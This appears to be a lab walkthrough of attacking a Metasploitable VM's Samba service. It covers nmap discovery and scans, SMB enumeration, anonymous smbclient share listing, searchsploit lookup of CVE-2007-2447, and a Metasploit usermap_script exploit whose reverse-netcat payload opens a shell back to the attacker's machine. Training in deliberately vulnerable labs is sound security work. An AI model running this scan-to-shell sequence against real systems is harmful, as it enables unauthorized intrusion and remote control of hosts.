

SMB (NetBIOS) Walkthrough

Metasploitable – NetBIOS/Samba Service Assessment

Protocol Overview

NetBIOS (Network Basic Input/Output System) is a set of networking services that allows computers to communicate and share resources over a network. NetBIOS commonly operates over **TCP port 139**.

Samba is an open-source implementation of the **SMB (Server Message Block)** protocol, allowing non-Windows operating systems such as Unix and Linux to share files and printers with Windows systems.

1. Host Discovery

Objective

Identify:

- My IP address
- IP address class
- Network range
- Active hosts using **Nmap host discovery**

Network Information

Parameter	Value
Kali IP	192.168.31.128
IP Class	Class C – 254 possible hosts
Network Range	1-254
Broadcast Address	255
Gateway	0

Nmap Host Discovery

```
(kali@kali)-[~]
$ nmap -sn 192.168.31.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-18 19:19 EDT
Nmap scan report for 192.168.31.1
Host is up (0.0015s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.31.2
Host is up (0.00072s latency).
MAC Address: 00:50:56:E0:0F:B4 (VMware)
Nmap scan report for 192.168.31.129
Host is up (0.00096s latency).
MAC Address: 00:0C:29:C5:A0:35 (VMware)
Nmap scan report for 192.168.31.254
Host is up (0.00030s latency).
MAC Address: 00:50:56:F9:F7:DB (VMware)
Nmap scan report for 192.168.31.128
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.08 seconds
```

The scan identified **5 active hosts** on the network, including the Kali machine.

2. Port Scanning

Objective

- Identify the target IP address
- Scan the discovered hosts
- Identify open ports and running services

Nmap Scan

```
(kali㉿kali)-[~]  
$ nmap 192.168.31.1,2,129,254  
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-18 19:21 EDT  
Nmap scan report for 192.168.31.1  
Host is up (0.0011s latency).  
Not shown: 997 filtered tcp ports (no-response)  
PORT      STATE SERVICE  
135/tcp   open  msrpc  
139/tcp   open  netbios-ssn  
445/tcp   open  microsoft-ds  
MAC Address: 00:50:56:C0:00:08 (VMware)  
  
Nmap scan report for 192.168.31.2  
Host is up (0.00040s latency).  
Not shown: 999 closed tcp ports (reset)  
PORT      STATE SERVICE  
53/tcp    filtered domain  
MAC Address: 00:50:56:E0:0F:B4 (VMware)
```

```
Nmap scan report for 192.168.31.129  
Host is up (0.0023s latency).  
Not shown: 977 closed tcp ports (reset)  
PORT      STATE SERVICE  
21/tcp    open  ftp  
22/tcp    open  ssh  
23/tcp    open  telnet  
25/tcp    open  smtp  
53/tcp    open  domain  
80/tcp    open  http  
111/tcp   open  rpcbind  
139/tcp   open  netbios-ssn  
445/tcp   open  microsoft-ds  
512/tcp   open  exec  
513/tcp   open  login  
514/tcp   open  shell  
1099/tcp  open  rmiregistry  
1524/tcp  open  ingreslock  
2049/tcp  open  nfs  
2121/tcp  open  ccproxy-ftp  
3306/tcp  open  mysql  
5432/tcp  open  postgresql  
5900/tcp  open  vnc  
6000/tcp  open  X11  
6667/tcp  open  irc  
8009/tcp  open  ajp13  
8180/tcp  open  unknown  
MAC Address: 00:0C:29:C5:A0:35 (VMware)  
  
Nmap scan report for 192.168.31.254  
Host is up (0.00091s latency).  
All 1000 scanned ports on 192.168.31.254 are in ignored states.  
Not shown: 1000 filtered tcp ports (no-response)
```

The following hosts were identified during the scan:

IP Address	Identified Host
192.168.31.1	PC
192.168.31.2	Gateway
192.168.31.129	Server
192.168.31.254	PC

The scan results were used to identify the target host and investigate the available network services.

3. Vulnerability Analysis

Objective

Analyze the **NetBIOS/SMB service**, identify its version, enumerate the service, and search for known vulnerabilities using tools such as **Searchsploit**, **Exploit-DB**, and **Nessus**.

Enumeration Methodology

3.1 Service and Version Identification

The first step was to identify the open port and determine the version of the service running on the target.

```
(kali@kali)-[~]
$ nmap -sS -sV -Pn -p 139 192.168.31.129
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-18 19:26 EDT
Nmap scan report for 192.168.31.129
Host is up (0.00052s latency).

PORT      STATE SERVICE      VERSION
139/tcp    open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 00:0C:29:C5:A0:35 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.12 seconds
```

The initial scan identified:

Service: netbios-ssn

Version: Samba smbd 3.X – 4.X (initial Nmap identification)

3.2 SMB Enumeration

Further enumeration was performed to obtain additional information about the SMB service.

SMB Version

```
(kali@kali)-[~]
$ nmap -p 445 --script smb-protocols 192.168.31.129
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-21 14:43 EDT
Nmap scan report for 192.168.31.129
Host is up (0.00096s latency).

PORT      STATE SERVICE
445/tcp    open  microsoft-ds
MAC Address: 00:0C:29:C5:A0:35 (VMware)

Host script results:
| smb-protocols:
|   dialects:
|_    NT LM 0.12 [SMBv1] [dangerous, but default]

Nmap done: 1 IP address (1 host up) scanned in 0.52 seconds
```

The target was identified as using:

SMB Version: 1

SMB Security Information

```
(kali@kali)-[~]
$ nmap -p 445 --script smb-security-mode 192.168.31.129
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-21 14:45 EDT
Nmap scan report for 192.168.31.129
Host is up (0.00060s latency).

PORT      STATE SERVICE
445/tcp    open  microsoft-ds
MAC Address: 00:0C:29:C5:A0:35 (VMware)

Host script results:
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

Nmap done: 1 IP address (1 host up) scanned in 0.50 seconds
```

The enumeration indicated that **SMB signing was disabled**, which is consistent with the identified **SMBv1** configuration.

3.3 SMB Share Enumeration

The SMB service was further enumerated using **smbclient** to identify available shares and obtain additional service information.

```
(kali@kali)-[~]
$ smbclient -L //192.168.31.129 -N
Anonymous login successful

      Sharename      Type      Comment
      -----      -
      print$         Disk      Printer Drivers
      tmp             Disk      oh noes!
      opt             Disk
      IPC$            IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
      ADMIN$          IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))

Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

      Server          Comment
      -----
      Workgroup        Master
      WORKGROUP        METASPLOITABLE
```

The service version was identified as:

Samba 3.0.20

3.4 Vulnerability Search

After identifying the Samba version, the service was checked against publicly known vulnerabilities.

Searchsploit

```
(kali@kali)-[/usr/share/nmap/scripts]
$ searchsploit Samba 3.0.20-Debian
```

Exploit Title	Path
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass	multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)	unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow	linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC)	linux_x86/dos/36741.py

```
Shellcodes: No Results
```

The search identified a known vulnerability associated with the Samba version.

Exploit-DB

Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)

EDB-ID:

16320

CVE:

2007-2447

Author:

METASPLOIT

Type:

REMOTE

Platform:

UNIX

Date:

2010-08-18

EDB Verified: ✓

Exploit: 📄 / {}

Vulnerable App:



The identified vulnerability was:

CVE-2007-2447

4. Exploitation

Objective

Use the **Metasploit Framework** to investigate and attempt exploitation of the identified Samba vulnerability in the authorized lab environment.

Metasploit Search

The Metasploit Framework was used to search for an appropriate module related to the identified vulnerability.

```
msf > search samba 3.0.20

Matching Modules

#  Name                                     Disclosure Date  Rank      Check  Description
-  -                                     -              -      -      -
0  exploit/multi/samba/usermap_script      2007-05-14      excellent No     Samba "username map script" Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script
```

```
msf exploit(multi/samba/usermap_script) > set RHOSTS 192.168.31.129
RHOSTS => 192.168.31.129
msf exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

Name      Current Setting  Required  Description
RHOSTS    192.168.31.129  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     139              yes       The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

Name      Current Setting  Required  Description
LHOST     192.168.31.128  yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:

Id  Name
--  --
0   Automatic

View the full module info with the info, or info -d command.

msf exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 192.168.31.128:4444
[*] Command shell session 1 opened (192.168.31.128:4444 -> 192.168.31.129:53595) at 2026-09-18 20:41:45 -0400
```